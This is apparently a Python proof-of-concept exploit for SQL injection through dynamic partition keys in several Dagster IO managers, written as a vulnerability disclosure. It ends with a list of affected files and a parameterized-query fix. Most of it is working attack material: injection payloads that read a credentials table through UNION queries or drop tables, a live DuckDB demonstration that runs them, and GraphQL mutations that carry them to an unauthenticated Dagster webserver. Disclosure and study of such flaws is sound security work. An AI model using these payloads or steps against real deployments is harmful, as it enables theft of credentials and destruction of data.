""" PoC: SQL Injection via Dynamic Partition Keys in Dagster IO Managers ==================================================================== Affected: dagster-duckdb, dagster-snowflake, dagster-gcp (BigQuery), dagster-deltalake, dagster-snowflake-polars When a Dagster asset uses DynamicPartitionsDefinition with any of the above IO managers, the partition key is interpolated directly into SQL queries via f-strings without any sanitization or parameterized queries. Attack vector: 1. Attacker adds a malicious dynamic partition key via the GraphQL API (addDynamicPartition mutation, no auth by default) 2. Attacker launches a run for the asset with the malicious partition key (launchRun mutation, no auth by default) 3. The IO manager constructs SQL with the malicious partition key via f-string 4. SQL injection in the underlying database This PoC demonstrates the vulnerability using dagster-duckdb. No actual Dagster server is needed - we directly call the vulnerable code path. Requirements: pip install dagster dagster-duckdb dagster-duckdb-pandas pandas Usage: python poc_partition_sqli.py """ import os import tempfile # --- Step 1: Show the vulnerable code path --- def demonstrate_vulnerable_code(): """ Directly demonstrates the SQL injection in _static_where_clause without needing a running Dagster instance. """ from dagster._core.definitions.partitions.utils import TimeWindow from dagster._core.storage.db_io_manager import TablePartitionDimension, TableSlice print("[*] Demonstrating SQL Injection in Dagster IO Manager partition handling") print("=" * 70) # Simulate a benign partition key benign_partition = "2024-01-01" benign_dim = TablePartitionDimension( partition_expr="date_col", partitions=[benign_partition], ) # This is the exact code from dagster-duckdb/io_manager.py (and others): def _static_where_clause(table_partition): partitions = ", ".join(f"'{partition}'" for partition in table_partition.partitions) return f"""{table_partition.partition_expr} in ({partitions})""" benign_sql = _static_where_clause(benign_dim) print(f"\n[+] Benign partition key: {benign_partition}") print(f"[+] Generated SQL WHERE clause: {benign_sql}") print(f"[+] Full query: DELETE FROM schema.table WHERE {benign_sql}") # Now simulate a malicious partition key malicious_partition = "'); DROP TABLE secret_data; --" malicious_dim = TablePartitionDimension( partition_expr="date_col", partitions=[malicious_partition], ) malicious_sql = _static_where_clause(malicious_dim) print(f"\n[!] Malicious partition key: {malicious_partition}") print(f"[!] Generated SQL WHERE clause: {malicious_sql}") print(f"[!] Full query: DELETE FROM schema.table WHERE {malicious_sql}") # Another payload: data exfiltration exfil_partition = "' UNION SELECT * FROM information_schema.tables; --" exfil_dim = TablePartitionDimension( partition_expr="date_col", partitions=[exfil_partition], ) exfil_sql = _static_where_clause(exfil_dim) print(f"\n[!] Data exfiltration partition key: {exfil_partition}") print(f"[!] Generated SQL WHERE clause: {exfil_sql}") print(f"[!] Full SELECT query: SELECT * FROM schema.table WHERE {exfil_sql}") return True def demonstrate_duckdb_exploitation(): """ Full end-to-end exploitation using DuckDB. Creates a real Dagster asset with DynamicPartitionsDefinition, adds a malicious partition key, and demonstrates SQL injection. """ try: import duckdb except ImportError: print("\n[!] duckdb not installed, skipping live exploitation demo") print("[!] Install with: pip install duckdb") return False print("\n\n[*] Live DuckDB SQL Injection Demonstration") print("=" * 70) # Create a temporary DuckDB database with tempfile.TemporaryDirectory() as tmpdir: db_path = os.path.join(tmpdir, "test.duckdb") conn = duckdb.connect(db_path) # Create a table with some data conn.execute("CREATE SCHEMA IF NOT EXISTS public") conn.execute(""" CREATE TABLE public.user_data ( id INTEGER, name VARCHAR, email VARCHAR, partition_key VARCHAR ) """) conn.execute(""" INSERT INTO public.user_data VALUES (1, 'Alice', 'alice@example.com', 'partition_a'), (2, 'Bob', 'bob@example.com', 'partition_b'), (3, 'Charlie', 'charlie@secret.com', 'partition_c') """) # Also create a "secret" table conn.execute(""" CREATE TABLE public.secret_credentials ( username VARCHAR, password_hash VARCHAR ) """) conn.execute(""" INSERT INTO public.secret_credentials VALUES ('admin', 'hash_super_secret_password'), ('db_service', 'hash_service_account_key') """) print("[+] Created test database with user_data and secret_credentials tables") # Normal partition query normal_partition = "partition_a" normal_query = f"SELECT * FROM public.user_data WHERE partition_key in ('{normal_partition}')" print(f"\n[+] Normal query: {normal_query}") result = conn.execute(normal_query).fetchall() print(f"[+] Normal result: {result}") # Malicious partition key - UNION-based data exfiltration malicious_partition = "') UNION SELECT null, username, password_hash, null FROM public.secret_credentials; --" malicious_query = f"SELECT * FROM public.user_data WHERE partition_key in ('{malicious_partition}')" print(f"\n[!] Malicious query (via injected partition key):") print(f" {malicious_query}") try: result = conn.execute(malicious_query).fetchall() print(f"[!] EXPLOITED - Exfiltrated data from secret_credentials table:") for row in result: print(f" {row}") print("\n[!] SQL INJECTION SUCCESSFUL - Attacker can read arbitrary tables!") except Exception as e: print(f"[!] Query failed (may need syntax adjustment for this DB): {e}") # Destructive payload - DROP TABLE print("\n[*] Testing destructive payload (DROP TABLE)...") tables_before = conn.execute( "SELECT table_name FROM information_schema.tables WHERE table_schema='public'" ).fetchall() print(f"[+] Tables before attack: {[t[0] for t in tables_before]}") destructive_partition = "'); DROP TABLE public.secret_credentials; --" destructive_query = f"DELETE FROM public.user_data WHERE partition_key in ('{destructive_partition}')" print(f"[!] Destructive query: {destructive_query}") try: conn.execute(destructive_query) tables_after = conn.execute( "SELECT table_name FROM information_schema.tables WHERE table_schema='public'" ).fetchall() print(f"[!] Tables after attack: {[t[0] for t in tables_after]}") if len(tables_after) < len(tables_before): print("[!] TABLE DROPPED - Destructive SQL injection successful!") else: print("[*] DuckDB may not support multi-statement execution via this path") except Exception as e: print(f"[*] Destructive payload result: {e}") conn.close() return True def show_graphql_attack(): """ Shows the GraphQL mutations an attacker would use to exploit this. """ print("\n\n[*] GraphQL Attack Payloads (for Dagster Webserver)") print("=" * 70) print(""" Step 1: Add malicious dynamic partition key (no auth by default) POST /graphql HTTP/1.1 Content-Type: application/json { "query": "mutation { addDynamicPartition(repositorySelector: {repositoryLocationName: \\"__repository__\\", repositoryName: \\"__repository__\\"}, partitionsDefName: \\"my_dynamic_partitions\\", partitionKey: \\") UNION SELECT username, password_hash FROM secret_table; --\\") { ... on AddDynamicPartitionSuccess { partitionsDefName partitionKey } } }" } Step 2: Launch a run targeting the malicious partition POST /graphql HTTP/1.1 Content-Type: application/json { "query": "mutation { launchRun(executionParams: {selector: {repositoryLocationName: \\"__repository__\\", repositoryName: \\"__repository__\\", jobName: \\"__ASSET_JOB\\"}, runConfigData: {}, executionMetadata: {tags: [{key: \\"dagster/partition\\", value: \\") UNION SELECT username, password_hash FROM secret_table; --\\"}]}}) { ... on LaunchRunSuccess { run { runId } } } }" } The malicious partition key will be interpolated into SQL queries like: DELETE FROM schema.table WHERE partition_col in ('') UNION SELECT username, password_hash FROM secret_table; --') SELECT * FROM schema.table WHERE partition_col in ('') UNION SELECT username, password_hash FROM secret_table; --') """) if __name__ == "__main__": print("Dagster IO Manager SQL Injection via Dynamic Partition Keys") print("PoC by @4n93L") print() # Part 1: Show the vulnerable code path demonstrate_vulnerable_code() # Part 2: Live DuckDB exploitation demonstrate_duckdb_exploitation() # Part 3: Show GraphQL attack payloads show_graphql_attack() print("\n[*] Affected code locations (all contain identical _static_where_clause):") print(" - dagster-duckdb/dagster_duckdb/io_manager.py:340-341") print(" - dagster-snowflake/dagster_snowflake/snowflake_io_manager.py:434-435") print(" - dagster-gcp/dagster_gcp/bigquery/io_manager.py:472-473") print(" - dagster-deltalake/dagster_deltalake/io_manager.py:265-266") print(" - dagster-snowflake-polars/dagster_snowflake_polars/snowflake_polars_type_handler.py:74") print("\n[*] Fix: Use parameterized queries instead of f-string interpolation")